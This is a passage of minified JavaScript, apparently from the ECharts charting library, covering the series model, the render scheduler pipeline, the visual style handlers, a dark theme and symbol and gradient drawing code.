wg("section",{header:y,noHeader:s||!v,sortParam:i,blocks:[wg("nameValue",{markerType:"item",markerColor:p,name:_,noName:!ut(_),value:e,valueType:n,rawDataIndex:l.getRawIndex(a)})].concat(r||[])})}var Mg=Zo();function Tg(t,e){return t.getName(e)||t.getId(e)}var kg=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e._selectedDataIndicesMap={},e}var r;return n(e,t),e.prototype.init=function(t,e,n){this.seriesIndex=this.componentIndex,this.dataTask=Zd({count:Ig,reset:Dg}),this.dataTask.context={model:this},this.mergeDefaultAndTheme(t,n),(Mg(this).sourceManager=new mg(this)).prepareSource();var r=this.getInitialData(t,n);Lg(r,this),this.dataTask.context.data=r,Mg(this).dataBeforeProcessed=r,Cg(this),this._initSelectedMapFromData(r)},e.prototype.mergeDefaultAndTheme=function(t,e){var n=fp(this),r=n?dp(t):{},i=this.subType;vp.hasClass(i)&&(i+="Series"),C(t,e.getTheme().get(this.subType)),C(t,this.getDefaultOption()),Bo(t,"label",["show"]),this.fillDataTextStyle(t.data),n&&pp(t,r,n)},e.prototype.mergeOption=function(t,e){t=C(this.option,t,!0),this.fillDataTextStyle(t.data);var n=fp(this);n&&pp(this.option,t,n);var r=Mg(this).sourceManager;r.dirty(),r.prepareSource();var i=this.getInitialData(t,e);Lg(i,this),this.dataTask.dirty(),this.dataTask.context.data=i,Mg(this).dataBeforeProcessed=i,Cg(this),this._initSelectedMapFromData(i)},e.prototype.fillDataTextStyle=function(t){if(t&&!$(t))for(var e=["show"],n=0;n<t.length;n++)t[n]&&t[n].label&&Bo(t[n],"label",e)},e.prototype.getInitialData=function(t,e){},e.prototype.appendData=function(t){this.getRawData().appendData(t.data)},e.prototype.getData=function(t){var e=Og(this);if(e){var n=e.context.data;return null!=t&&n.getLinkedData?n.getLinkedData(t):n}return Mg(this).data},e.prototype.getAllData=function(){var t=this.getData();return t&&t.getLinkedDataAll?t.getLinkedDataAll():[{data:t}]},e.prototype.setData=function(t){var e=Og(this);if(e){var n=e.context;n.outputData=t,e!==this.dataTask&&(n.data=t)}Mg(this).data=t},e.prototype.getEncode=function(){var t=this.get("encode",!0);if(t)return vt(t)},e.prototype.getSourceManager=function(){return Mg(this).sourceManager},e.prototype.getSource=function(){return this.getSourceManager().getSource()},e.prototype.getRawData=function(){return Mg(this).dataBeforeProcessed},e.prototype.getColorBy=function(){return this.get("colorBy")||"series"},e.prototype.isColorBySeries=function(){return"series"===this.getColorBy()},e.prototype.getBaseAxis=function(){var t=this.coordinateSystem;return t&&t.getBaseAxis&&t.getBaseAxis()},e.prototype.indicesOfNearest=function(t,e,n,r){var i=this.getData(),o=this.coordinateSystem,a=o&&o.getAxis(t);if(!o||!a)return[];var s=a.dataToCoord(n);null==r&&(r=1/0);for(var l=[],u=1/0,c=-1,h=0,f=i.getDimensionIndex(e),p=i.getStore(),d=0,g=p.count();d<g;d++){var v=p.get(f,d),y=s-a.dataToCoord(v),m=Math.abs(y);m<=r&&((m<u||m===u&&y>=0&&c<0)&&(u=m,c=y,h=0),y===c&&(l[h++]=d))}return l.length=h,l},e.prototype.formatTooltip=function(t,e,n){return Sg({series:this,dataIndex:t,multipleSeries:e})},e.prototype.isAnimationEnabled=function(){var t=this.ecModel;if(i.node&&(!t||!t.ssr))return!1;var e=this.getShallow("animation");return e&&this.getData().count()>this.getShallow("animationThreshold")&&(e=!1),!!e},e.prototype.restoreData=function(){this.dataTask.dirty()},e.prototype.getColorFromPalette=function(t,e,n){var r=this.ecModel,i=Hp.prototype.getColorFromPalette.call(this,t,e,n);return i||(i=r.getColorFromPalette(t,e,n)),i},e.prototype.coordDimToDataDim=function(t){return this.getRawData().mapDimensionsAll(t)},e.prototype.getProgressive=function(){return this.get("progressive")},e.prototype.getProgressiveThreshold=function(){return this.get("progressiveThreshold")},e.prototype.select=function(t,e){this._innerSelect(this.getData(e),t)},e.prototype.unselect=function(t,e){var n=this.option.selectedMap;if(n){var r=this.option.selectedMode,i=this.getData(e);if("series"===r||"all"===n)return this.option.selectedMap={},void(this._selectedDataIndicesMap={});for(var o=0;o<t.length;o++){var a=Tg(i,t[o]);n[a]=!1,this._selectedDataIndicesMap[a]=-1}}},e.prototype.toggleSelect=function(t,e){for(var n=[],r=0;r<t.length;r++)n[0]=t[r],this.isSelected(t[r],e)?this.unselect(n,e):this.select(n,e)},e.prototype.getSelectedDataIndices=function(){if("all"===this.option.selectedMap)return[].slice.call(this.getData().getIndices());for(var t=this._selectedDataIndicesMap,e=H(t),n=[],r=0;r<e.length;r++){var i=t[e[r]];i>=0&&n.push(i)}return n},e.prototype.isSelected=function(t,e){var n=this.option.selectedMap;if(!n)return!1;var r=this.getData(e);return("all"===n||n[Tg(r,t)])&&!r.getItemModel(t).get(["select","disabled"])},e.prototype.isUniversalTransitionEnabled=function(){if(this.__universalTransitionEnabled)return!0;var t=this.option.universalTransition;return!!t&&(!0===t||t&&t.enabled)},e.prototype._innerSelect=function(t,e){var n,r,i=this.option,o=i.selectedMode,a=e.length;if(o&&a)if("series"===o)i.selectedMap="all";else if("multiple"===o){j(i.selectedMap)||(i.selectedMap={});for(var s=i.selectedMap,l=0;l<a;l++){var u=e[l];s[h=Tg(t,u)]=!0,this._selectedDataIndicesMap[h]=t.getRawIndex(u)}}else if("single"===o||!0===o){var c=e[a-1],h=Tg(t,c);i.selectedMap=((n={})[h]=!0,n),this._selectedDataIndicesMap=((r={})[h]=t.getRawIndex(c),r)}},e.prototype._initSelectedMapFromData=function(t){if(!this.option.selectedMap){var e=[];t.hasItemOption&&t.each(function(n){var r=t.getRawDataItem(n);r&&r.selected&&e.push(n)}),e.length>0&&this._innerSelect(t,e)}},e.registerClass=function(t){return vp.registerClass(t)},e.protoInitialize=((r=e.prototype).type="series.__base__",r.seriesIndex=0,r.ignoreStyleOnData=!1,r.hasSymbolVisual=!1,r.defaultSymbol="circle",r.visualStyleAccessPath="itemStyle",void(r.visualDrawType="fill")),e}(vp);function Cg(t){var e=t.name;Xo(t)||(t.name=function(t){var e=t.getRawData(),n=e.mapDimensionsAll("seriesName"),r=[];return E(n,function(t){var n=e.getDimensionInfo(t);n.displayName&&r.push(n.displayName)}),r.join(" ")}(t)||e)}function Ig(t){return t.model.getRawData().count()}function Dg(t){var e=t.model;return e.setData(e.getRawData().cloneShallow()),Ag}function Ag(t,e){e.outputData&&t.end>e.outputData.count()&&e.model.getRawData().cloneShallow(e.outputData)}function Lg(t,e){E(yt(t.CHANGABLE_METHODS,t.DOWNSAMPLE_METHODS),function(n){t.wrapMethod(n,G(Pg,e))})}function Pg(t,e){var n=Og(t);return n&&n.setOutputEnd((e||this).count()),e}function Og(t){var e=(t.ecModel||{}).scheduler,n=e&&e.getPipeline(t.uid);if(n){var r=n.currentTask;if(r){var i=r.agentStubMap;i&&(r=i.get(t.uid))}return r}}R(kg,qd),R(kg,Hp),ma(kg,vp);var Rg=function(){function t(){this.group=new Bi,this.uid=ef("viewComponent")}return t.prototype.init=function(t,e){},t.prototype.render=function(t,e,n,r){},t.prototype.dispose=function(t,e){},t.prototype.updateView=function(t,e,n,r){},t.prototype.updateLayout=function(t,e,n,r){},t.prototype.updateVisual=function(t,e,n,r){},t.prototype.toggleBlurSeries=function(t,e,n){},t.prototype.eachRendered=function(t){var e=this.group;e&&e.traverse(t)},t}();function Ng(){var t=Zo();return function(e){var n=t(e),r=e.pipelineContext,i=!!n.large,o=!!n.progressiveRender,a=n.large=!(!r||!r.large),s=n.progressiveRender=!(!r||!r.progressiveRender);return!(i===a&&o===s)&&"reset"}}ya(Rg),wa(Rg);var Eg=Zo(),Bg=Ng(),zg=function(){function t(){this.group=new Bi,this.uid=ef("viewChart"),this.renderTask=Zd({plan:Hg,reset:Wg}),this.renderTask.context={view:this}}return t.prototype.init=function(t,e){},t.prototype.render=function(t,e,n,r){0},t.prototype.highlight=function(t,e,n,r){var i=t.getData(r&&r.dataType);i&&Vg(i,r,"emphasis")},t.prototype.downplay=function(t,e,n,r){var i=t.getData(r&&r.dataType);i&&Vg(i,r,"normal")},t.prototype.remove=function(t,e){this.group.removeAll()},t.prototype.dispose=function(t,e){},t.prototype.updateView=function(t,e,n,r){this.render(t,e,n,r)},t.prototype.updateVisual=function(t,e,n,r){this.render(t,e,n,r)},t.prototype.eachRendered=function(t){wh(this.group,t)},t.markUpdateMethod=function(t,e){Eg(t).updateMethod=e},t.protoInitialize=void(t.prototype.type="chart"),t}();function Fg(t,e,n){t&&Ru(t)&&("emphasis"===e?vu:yu)(t,n)}function Vg(t,e,n){var r=qo(t,e),i=e&&null!=e.highlightKey?function(t){var e=Ul[t];return null==e&&Gl<=32&&(e=Ul[t]=Gl++),e}(e.highlightKey):null;null!=r?E(Eo(r),function(e){Fg(t.getItemGraphicEl(e),n,i)}):t.eachItemGraphicEl(function(t){Fg(t,n,i)})}function Hg(t){return Bg(t.model)}function Wg(t){var e=t.model,n=t.ecModel,r=t.api,i=t.payload,o=e.pipelineContext.progressiveRender,a=t.view,s=i&&Eg(i).updateMethod,l=o?"incrementalPrepareRender":s&&a[s]?s:"render";return"render"!==l&&a[l](e,n,r,i),Gg[l]}ya(zg),wa(zg);var Gg={incrementalPrepareRender:{progress:function(t,e){e.view.incrementalRender(t,e.model,e.ecModel,e.api,e.payload)}},render:{forceFirstProgress:!0,progress:function(t,e){e.view.render(e.model,e.ecModel,e.api,e.payload)}}};function Ug(t,e,n){var r,i,o,a,s,l=0,u=0,c=null;function h(){u=(new Date).getTime(),c=null,t.apply(o,a||[])}e=e||0;var f=function(){for(var t=[],f=0;f<arguments.length;f++)t[f]=arguments[f];r=(new Date).getTime(),o=this,a=t;var p=s||e,d=s||n;s=null,i=r-(d?l:u)-p,clearTimeout(c),d?c=setTimeout(h,p):i>=0?h():c=setTimeout(h,-i),l=r};return f.clear=function(){c&&(clearTimeout(c),c=null)},f.debounceNextCall=function(t){s=t},f}var Xg=Zo(),Yg={itemStyle:Sa(Kh,!0),lineStyle:Sa(qh,!0)},qg={lineStyle:"stroke",itemStyle:"fill"};function Zg(t,e){var n=t.visualStyleMapper||Yg[e];return n||(console.warn("Unknown style type '"+e+"'."),Yg.itemStyle)}function jg(t,e){var n=t.visualDrawType||qg[e];return n||(console.warn("Unknown style type '"+e+"'."),"fill")}var Kg={createOnAllSeries:!0,performRawSeries:!0,reset:function(t,e){var n=t.getData(),r=t.visualStyleAccessPath||"itemStyle",i=t.getModel(r),o=Zg(t,r)(i),a=i.getShallow("decal");a&&(n.setVisual("decal",a),a.dirty=!0);var s=jg(t,r),l=o[s],u=X(l)?l:null,c="auto"===o.fill||"auto"===o.stroke;if(!o[s]||u||c){var h=t.getColorFromPalette(t.name,null,e.getSeriesCount());o[s]||(o[s]=h,n.setVisual("colorFromPalette",!0)),o.fill="auto"===o.fill||X(o.fill)?h:o.fill,o.stroke="auto"===o.stroke||X(o.stroke)?h:o.stroke}if(n.setVisual("style",o),n.setVisual("drawType",s),!e.isSeriesFiltered(t)&&u)return n.setVisual("colorFromPalette",!1),{dataEach:function(e,n){var r=t.getDataParams(n),i=I({},o);i[s]=u(r),e.setItemVisual(n,"style",i)}}}},$g=new Jh,Qg={createOnAllSeries:!0,reset:function(t,e){if(!t.ignoreStyleOnData){var n=t.getData(),r=t.visualStyleAccessPath||"itemStyle",i=Zg(t,r),o=n.getVisual("drawType");return{dataEach:n.hasItemOption?function(t,e){var n=t.getRawDataItem(e);if(n&&n[r]){$g.option=n[r];var a=i($g);I(t.ensureUniqueItemVisual(e,"style"),a),$g.option.decal&&(t.setItemVisual(e,"decal",$g.option.decal),$g.option.decal.dirty=!0),o in a&&t.setItemVisual(e,"colorFromPalette",!1)}}:null}}}},Jg={performRawSeries:!0,overallReset:function(t){var e=vt();t.eachSeries(function(t){if(!t.isColorBySeries()){var n=t.type+"-"+t.getColorBy();Xg(t).scope=e.get(n)||e.set(n,{})}}),t.eachSeries(function(t){if(!t.isColorBySeries()){var e=t.getRawData(),n={},r=t.getData(),i=Xg(t).scope,o=t.visualStyleAccessPath||"itemStyle",a=jg(t,o);r.each(function(t){var e=r.getRawIndex(t);n[e]=t}),e.each(function(o){var s=n[o];if(r.getItemVisual(s,"colorFromPalette")){var l=r.ensureUniqueItemVisual(s,"style"),u=e.getName(o)||o+"",c=e.count();l[a]=t.getColorFromPalette(u,i,c)}})}})}},tv=Math.PI;var ev=function(){function t(t,e,n,r){this._stageTaskMap=vt(),this.ecInstance=t,this.api=e,n=this._dataProcessorHandlers=n.slice(),r=this._visualHandlers=r.slice(),this._allHandlers=n.concat(r)}return t.prototype.restoreData=function(t,e){t.restoreData(e),this._stageTaskMap.each(function(t){var e=t.overallTask;e&&e.dirty()})},t.prototype.getPerformArgs=function(t,e){if(t.__pipeline){var n=this._pipelineMap.get(t.__pipeline.id),r=n.context,i=!e&&n.progressiveEnabled&&(!r||r.progressiveRender)&&t.__idxInPipeline>n.blockIndex?n.step:null,o=r&&r.modDataCount;return{step:i,modBy:null!=o?Math.ceil(o/i):null,modDataCount:o}}},t.prototype.getPipeline=function(t){return this._pipelineMap.get(t)},t.prototype.updateStreamModes=function(t,e){var n=this._pipelineMap.get(t.uid),r=t.__preparePipelineContext?t.__preparePipelineContext(e,n):fa(t,e,n);t.pipelineContext=n.context=r},t.prototype.restorePipelines=function(t,e){var n=this,r=n._pipelineMap=vt();e.eachSeries(function(e){var i="canvas"===t.painter.type&&e.getProgressive(),o=e.uid;r.set(o,{id:o,head:null,tail:null,threshold:e.getProgressiveThreshold(),progressiveEnabled:i&&!(e.preventIncremental&&e.preventIncremental()),blockIndex:-1,step:Math.round(i||700),count:0}),n._pipe(e,e.dataTask)})},t.prototype.prepareStageTasks=function(){var t=this._stageTaskMap,e=this.api.getModel(),n=this.api;E(this._allHandlers,function(r){var i=t.get(r.uid)||t.set(r.uid,{}),o="";lt(!(r.reset&&r.overallReset),o),r.reset&&this._createSeriesStageTask(r,i,e,n),r.overallReset&&this._createOverallStageTask(r,i,e,n)},this)},t.prototype.prepareView=function(t,e,n,r){var i=t.renderTask,o=i.context;o.model=e,o.ecModel=n,o.api=r,i.__block=!t.incrementalPrepareRender,this._pipe(e,i)},t.prototype.performDataProcessorTasks=function(t,e){this._performStageTasks(this._dataProcessorHandlers,t,e,{block:!0})},t.prototype.performVisualTasks=function(t,e,n){this._performStageTasks(this._visualHandlers,t,e,n)},t.prototype._performStageTasks=function(t,e,n,r){r=r||{};var i=!1,o=this;function a(t,e){return t.setDirty&&(!t.dirtyMap||t.dirtyMap.get(e.__pipeline.id))}E(t,function(t,s){if(!r.visualType||r.visualType===t.visualType){var l=o._stageTaskMap.get(t.uid),u=l.seriesTaskMap,c=l.overallTask;if(c){var h,f=c.agentStubMap;f.each(function(t){a(r,t)&&(t.dirty(),h=!0)}),h&&c.dirty(),o.updatePayload(c,n);var p=o.getPerformArgs(c,r.block);f.each(function(t){t.perform(p)}),c.perform(p)&&(i=!0)}else u&&u.each(function(s,l){a(r,s)&&s.dirty();var u=o.getPerformArgs(s,r.block);u.skip=!t.performRawSeries&&e.isSeriesFiltered(s.context.model),o.updatePayload(s,n),s.perform(u)&&(i=!0)})}}),this.unfinished=i||this.unfinished},t.prototype.performSeriesTasks=function(t){var e;t.eachSeries(function(t){e=t.dataTask.perform()||e}),this.unfinished=e||this.unfinished},t.prototype.plan=function(){this._pipelineMap.each(function(t){var e=t.tail;do{if(e.__block){t.blockIndex=e.__idxInPipeline;break}e=e.getUpstream()}while(e)})},t.prototype.updatePayload=function(t,e){"remain"!==e&&(t.context.payload=e)},t.prototype._createSeriesStageTask=function(t,e,n,r){var i=this,o=e.seriesTaskMap,a=e.seriesTaskMap=vt(),s=t.seriesType,l=t.getTargetSeries;function u(e){var s=e.uid,l=a.set(s,o&&o.get(s)||Zd({plan:av,reset:sv,count:cv}));l.context={model:e,ecModel:n,api:r,useClearVisual:t.isVisual&&!t.isLayout,plan:t.plan,reset:t.reset,scheduler:i},i._pipe(e,l)}t.createOnAllSeries?n.eachRawSeries(u):s?n.eachRawSeriesByType(s,u):l&&l(n,r).each(u)},t.prototype._createOverallStageTask=function(t,e,n,r){var i=this,o=e.overallTask=e.overallTask||Zd({reset:nv});o.context={ecModel:n,api:r,overallReset:t.overallReset,scheduler:i};var a=o.agentStubMap,s=o.agentStubMap=vt(),l=t.seriesType,u=t.getTargetSeries,c=t.dirtyOnOverallProgress,h=!1,f="";function p(t){var e=t.uid,n=s.set(e,a&&a.get(e)||(h=!0,Zd({reset:rv,onDirty:ov})));n.context={model:t,dirtyOnOverallProgress:c},n.agent=o,n.__block=c,i._pipe(t,n)}lt(!t.createOnAllSeries,f),l?n.eachRawSeriesByType(l,p):u?u(n,r).each(p):E(n.getSeries(),p),h&&o.dirty()},t.prototype._pipe=function(t,e){var n=t.uid,r=this._pipelineMap.get(n);!r.head&&(r.head=e),r.tail&&r.tail.pipe(e),r.tail=e,e.__idxInPipeline=r.count++,e.__pipeline=r},t.wrapStageHandler=function(t,e){return X(t)&&(t={overallReset:t,seriesType:hv(t)}),t.uid=ef("stageHandler"),e&&(t.visualType=e),t},t}();function nv(t){t.overallReset(t.ecModel,t.api,t.payload)}function rv(t){return t.dirtyOnOverallProgress&&iv}function iv(){this.agent.dirty(),this.getDownstream().dirty()}function ov(){this.agent&&this.agent.dirty()}function av(t){return t.plan?t.plan(t.model,t.ecModel,t.api,t.payload):null}function sv(t){t.useClearVisual&&t.data.clearAllVisual();var e=t.resetDefines=Eo(t.reset(t.model,t.ecModel,t.api,t.payload));return e.length>1?B(e,function(t,e){return uv(e)}):lv}var lv=uv(0);function uv(t){return function(e,n){var r=n.data,i=n.resetDefines[t];if(i&&i.dataEach)for(var o=e.start;o<e.end;o++)i.dataEach(r,o);else i&&i.progress&&i.progress(e,r)}}function cv(t){return t.data.count()}function hv(t){fv=null;try{t(pv,dv)}catch(t){}return fv}var fv,pv={},dv={};function gv(t,e){for(var n in e.prototype)t[n]=bt}gv(pv,Xp),gv(dv,Wl),pv.eachSeriesByType=pv.eachRawSeriesByType=function(t){fv=t},pv.eachComponent=function(t){"series"===t.mainType&&t.subType&&(fv=t.subType)};var vv,yv=yp.darkColor,mv=yv.background,_v=function(){return{axisLine:{lineStyle:{color:yv.axisLine}},splitLine:{lineStyle:{color:yv.axisSplitLine}},splitArea:{areaStyle:{color:[yv.backgroundTint,yv.backgroundTransparent]}},minorSplitLine:{lineStyle:{color:yv.axisMinorSplitLine}},axisLabel:{color:yv.axisLabel},axisName:{}}},xv={label:{color:yv.secondary},itemStyle:{borderColor:yv.borderTint},dividerLineStyle:{color:yv.border}},bv={darkMode:!0,color:yv.theme,backgroundColor:mv,axisPointer:{lineStyle:{color:yv.border},crossStyle:{color:yv.borderShade},label:{color:yv.tertiary}},legend:{textStyle:{color:yv.secondary},pageTextStyle:{color:yv.tertiary}},textStyle:{color:yv.secondary},title:{textStyle:{color:yv.primary},subtextStyle:{color:yv.quaternary}},toolbox:{iconStyle:{borderColor:yv.accent50},feature:{dataView:{backgroundColor:mv,textColor:yv.primary,textareaColor:yv.background,textareaBorderColor:yv.border,buttonColor:yv.accent50,buttonTextColor:yv.neutral00}}},tooltip:{backgroundColor:yv.neutral20,defaultBorderColor:yv.border,textStyle:{color:yv.tertiary}},dataZoom:{borderColor:yv.accent10,textStyle:{color:yv.tertiary},brushStyle:{color:yv.backgroundTint},handleStyle:{color:yv.neutral00,borderColor:yv.accent20},moveHandleStyle:{color:yv.accent40},emphasis:{handleStyle:{borderColor:yv.accent50}},dataBackground:{lineStyle:{color:yv.accent30},areaStyle:{color:yv.accent20}},selectedDataBackground:{lineStyle:{color:yv.accent50},areaStyle:{color:yv.accent30}}},visualMap:{textStyle:{color:yv.secondary},handleStyle:{borderColor:yv.neutral30}},timeline:{lineStyle:{color:yv.accent10},label:{color:yv.tertiary},controlStyle:{color:yv.accent30,borderColor:yv.accent30}},calendar:{itemStyle:{color:yv.neutral00,borderColor:yv.neutral20},dayLabel:{color:yv.tertiary},monthLabel:{color:yv.secondary},yearLabel:{color:yv.secondary}},matrix:{x:xv,y:xv,backgroundColor:{borderColor:yv.axisLine},body:{itemStyle:{borderColor:yv.borderTint}}},timeAxis:_v(),logAxis:_v(),valueAxis:_v(),categoryAxis:_v(),line:{symbol:"circle"},graph:{color:yv.theme},gauge:{title:{color:yv.secondary},axisLine:{lineStyle:{color:[[1,yv.neutral05]]}},axisLabel:{color:yv.axisLabel},detail:{color:yv.primary}},candlestick:{itemStyle:{color:"#f64e56",color0:"#54ea92",borderColor:"#f64e56",borderColor0:"#54ea92"}},funnel:{itemStyle:{borderColor:yv.background}},radar:(vv=_v(),vv.axisName={color:yv.axisLabel},vv.axisLine.lineStyle.color=yv.neutral20,vv),treemap:{breadcrumb:{itemStyle:{color:yv.neutral20,textStyle:{color:yv.secondary}},emphasis:{itemStyle:{color:yv.neutral30}}}},sunburst:{itemStyle:{borderColor:yv.background}},map:{itemStyle:{borderColor:yv.border,areaColor:yv.neutral10},label:{color:yv.tertiary},emphasis:{label:{color:yv.primary},itemStyle:{areaColor:yv.highlight}},select:{label:{color:yv.primary},itemStyle:{areaColor:yv.highlight}}},geo:{itemStyle:{borderColor:yv.border,areaColor:yv.neutral10},emphasis:{label:{color:yv.primary},itemStyle:{areaColor:yv.highlight}},select:{label:{color:yv.primary},itemStyle:{color:yv.highlight}}}};bv.categoryAxis.splitLine.show=!1;var wv=function(){function t(){}return t.prototype.normalizeQuery=function(t){var e={},n={},r={};if(Y(t)){var i=va(t);e.mainType=i.main||null,e.subType=i.sub||null}else{var o=["Index","Name","Id"],a={name:1,dataIndex:1,dataType:1};E(t,function(t,i){for(var s=!1,l=0;l<o.length;l++){var u=o[l],c=i.lastIndexOf(u);if(c>0&&c===i.length-u.length){var h=i.slice(0,c);"data"!==h&&(e.mainType=h,e[u.toLowerCase()]=t,s=!0)}}a.hasOwnProperty(i)&&(n[i]=t,s=!0),s||(r[i]=t)})}return{cptQuery:e,dataQuery:n,otherQuery:r}},t.prototype.filter=function(t,e){var n=this.eventInfo;if(!n)return!0;var r=n.targetEl,i=n.packedEvent,o=n.model,a=n.view;if(!o||!a)return!0;var s=e.cptQuery,l=e.dataQuery;return u(s,o,"mainType")&&u(s,o,"subType")&&u(s,o,"index","componentIndex")&&u(s,o,"name")&&u(s,o,"id")&&u(l,i,"name")&&u(l,i,"dataIndex")&&u(l,i,"dataType")&&(!a.filterForExposedEvent||a.filterForExposedEvent(t,e.otherQuery,r,i));function u(t,e,n,r){return null==t[n]||e[r||n]===t[n]}},t.prototype.afterTrigger=function(){this.eventInfo=null},t}(),Sv=["symbol","symbolSize","symbolRotate","symbolOffset"],Mv=Sv.concat(["symbolKeepAspect"]),Tv={createOnAllSeries:!0,performRawSeries:!0,reset:function(t,e){var n=t.getData();if(t.legendIcon&&n.setVisual("legendIcon",t.legendIcon),t.hasSymbolVisual){for(var r={},i={},o=!1,a=0;a<Sv.length;a++){var s=Sv[a],l=t.get(s);X(l)?(o=!0,i[s]=l):r[s]=l}if(r.symbol=r.symbol||t.defaultSymbol,n.setVisual(I({legendIcon:t.legendIcon||r.symbol,symbolKeepAspect:t.get("symbolKeepAspect")},r)),!e.isSeriesFiltered(t)){var u=H(i);return{dataEach:o?function(e,n){for(var r=t.getRawValue(n),o=t.getDataParams(n),a=0;a<u.length;a++){var s=u[a];e.setItemVisual(n,s,i[s](r,o))}}:null}}}}},kv={createOnAllSeries:!0,performRawSeries:!0,reset:function(t,e){if(t.hasSymbolVisual&&!e.isSeriesFiltered(t))return{dataEach:t.getData().hasItemOption?function(t,e){for(var n=t.getItemModel(e),r=0;r<Mv.length;r++){var i=Mv[r],o=n.getShallow(i,!0);null!=o&&t.setItemVisual(e,i,o)}}:null}}};function Cv(t,e,n,r,i){var o=t+e;n.isSilent(o)||r.eachComponent({mainType:"series",subType:"pie"},function(t){for(var e=t.seriesIndex,r=t.option.selectedMap,a=i.selected,s=0;s<a.length;s++)if(a[s].seriesIndex===e){var l=t.getData(),u=qo(l,i.fromActionPayload);n.trigger(o,{type:o,seriesId:t.id,name:U(u)?l.getName(u[0]):l.getName(u),selected:Y(r)?r:I({},r)})}})}function Iv(t,e,n){for(var r;t&&(!e(t)||(r=t,!n));)t=t.__hostTarget||t.parent;return r}var Dv=new qt,Av={};function Lv(t){return Av[t]}var Pv=Zo();function Ov(t){return Pv(t).fullUpdate}var Rv=Math.round(9*Math.random()),Nv="function"==typeof Object.defineProperty,Ev=function(){function t(){this._id="__ec_inner_"+Rv++}return t.prototype.get=function(t){return this._guard(t)[this._id]},t.prototype.set=function(t,e){var n=this._guard(t);return Nv?Object.defineProperty(n,this._id,{value:e,enumerable:!1,configurable:!0}):n[this._id]=e,this},t.prototype.delete=function(t){return!!this.has(t)&&(delete this._guard(t)[this._id],!0)},t.prototype.has=function(t){return!!this._guard(t)[this._id]},t.prototype._guard=function(t){if(t!==Object(t))throw TypeError("Value of WeakMap is not a non-null object.");return t},t}(),Bv=nl.extend({type:"triangle",shape:{cx:0,cy:0,width:0,height:0},buildPath:function(t,e){var n=e.cx,r=e.cy,i=e.width/2,o=e.height/2;t.moveTo(n,r-o),t.lineTo(n+i,r+o),t.lineTo(n-i,r+o),t.closePath()}}),zv=nl.extend({type:"diamond",shape:{cx:0,cy:0,width:0,height:0},buildPath:function(t,e){var n=e.cx,r=e.cy,i=e.width/2,o=e.height/2;t.moveTo(n,r-o),t.lineTo(n+i,r),t.lineTo(n,r+o),t.lineTo(n-i,r),t.closePath()}}),Fv=nl.extend({type:"pin",shape:{x:0,y:0,width:0,height:0},buildPath:function(t,e){var n=e.x,r=e.y,i=e.width/5*3,o=Math.max(i,e.height),a=i/2,s=a*a/(o-a),l=r-o+a+s,u=Math.asin(s/a),c=Math.cos(u)*a,h=Math.sin(u),f=Math.cos(u),p=.6*a,d=.7*a;t.moveTo(n-c,l+s),t.arc(n,l,a,Math.PI-u,2*Math.PI+u),t.bezierCurveTo(n+c-h*p,l+s+f*p,n,r-d,n,r),t.bezierCurveTo(n,r-d,n-c+h*p,l+s+f*p,n-c,l+s),t.closePath()}}),Vv=nl.extend({type:"arrow",shape:{x:0,y:0,width:0,height:0},buildPath:function(t,e){var n=e.height,r=e.width,i=e.x,o=e.y,a=r/3*2;t.moveTo(i,o),t.lineTo(i+a,o+n),t.lineTo(i,o+n/4*3),t.lineTo(i-a,o+n),t.lineTo(i,o),t.closePath()}}),Hv={line:function(t,e,n,r,i){i.x1=t,i.y1=e+r/2,i.x2=t+n,i.y2=e+r/2},rect:function(t,e,n,r,i){i.x=t,i.y=e,i.width=n,i.height=r},roundRect:function(t,e,n,r,i){i.x=t,i.y=e,i.width=n,i.height=r,i.r=Math.min(n,r)/4},square:function(t,e,n,r,i){var o=Math.min(n,r);i.x=t,i.y=e,i.width=o,i.height=o},circle:function(t,e,n,r,i){i.cx=t+n/2,i.cy=e+r/2,i.r=Math.min(n,r)/2},diamond:function(t,e,n,r,i){i.cx=t+n/2,i.cy=e+r/2,i.width=n,i.height=r},pin:function(t,e,n,r,i){i.x=t+n/2,i.y=e+r/2,i.width=n,i.height=r},arrow:function(t,e,n,r,i){i.x=t+n/2,i.y=e+r/2,i.width=n,i.height=r},triangle:function(t,e,n,r,i){i.cx=t+n/2,i.cy=e+r/2,i.width=n,i.height=r}},Wv={};E({line:Ic,rect:pl,roundRect:pl,square:pl,circle:ec,diamond:zv,pin:Fv,arrow:Vv,triangle:Bv},function(t,e){Wv[e]=new t});var Gv=nl.extend({type:"symbol",shape:{symbolType:"",x:0,y:0,width:0,height:0},calculateTextPosition:function(t,e,n){var r=wi(t,e,n),i=this.shape;return i&&"pin"===i.symbolType&&"inside"===e.position&&(r.y=n.y+.4*n.height),r},buildPath:function(t,e,n){var r=e.symbolType;if("none"!==r){var i=Wv[r];i||(i=Wv[r="rect"]),Hv[r](e.x,e.y,e.width,e.height,i.shape),i.buildPath(t,i.shape,n)}}});function Uv(t,e){if("image"!==this.type){var n=this.style;this.__isEmptyBrush?(n.stroke=t,n.fill=e||yp.color.neutral00,n.lineWidth=2):"line"===this.shape.symbolType?n.stroke=t:n.fill=t,this.markRedraw()}}function Xv(t,e,n,r,i,o,a){var s,l=0===t.indexOf("empty");return l&&(t=t.substr(5,1).toLowerCase()+t.substr(6)),(s=0===t.indexOf("image://")?hh(t.slice(8),new Be(e,n,r,i),a?"center":"cover"):0===t.indexOf("path://")?ch(t.slice(7),{},new Be(e,n,r,i),a?"center":"cover"):new Gv({shape:{symbolType:t,x:e,y:n,width:r,height:i}})).__isEmptyBrush=l,s.setColor=Uv,o&&s.setColor(o),s}function Yv(t,e){if(null!=t)return U(t)||(t=[t,t]),[oo(t[0],e[0])||0,oo(it(t[1],t[0]),e[1])||0]}function qv(t){return isFinite(t)}function Zv(t,e,n){for(var r="radial"===e.type?function(t,e,n){var r=n.width,i=n.height,o=Math.min(r,i),a=null==e.x?.5:e.x,s=null==e.y?.5:e.y,l=null==e.r?.5:e.r;return e.global||(a=a*r+n.x,s=s*i+n.y,l*=o),a=qv(a)?a:.5,s=qv(s)?s:.5,l=l>=0&&qv(l)?l:.5,t.createRadialGradient(a,s,0,a,s,l)}(t,e,n):function(t,e,n){var r=null==e.x?0:e.x,i=null==e.x2?1:e.x2,o=null==e.y?0:e.y,a=null==e.y2?0:e.y2;return e.global||(r=r*n.width+n.x,i=i*n.width+n.x,o=o*n.height+n.y,a=a*n.height+n.y),r=qv(r)?r:0,i=qv(i)?i:1,o=qv(o)?o:0,a=qv(a)?a:0,t.createLinearGradient(r,o,i,a)}(t,e,n),i=e.colorStops,o=0;o<i.length;o++)r.addColorStop(i[o].offset,i[o].color);return r}function jv(t){return 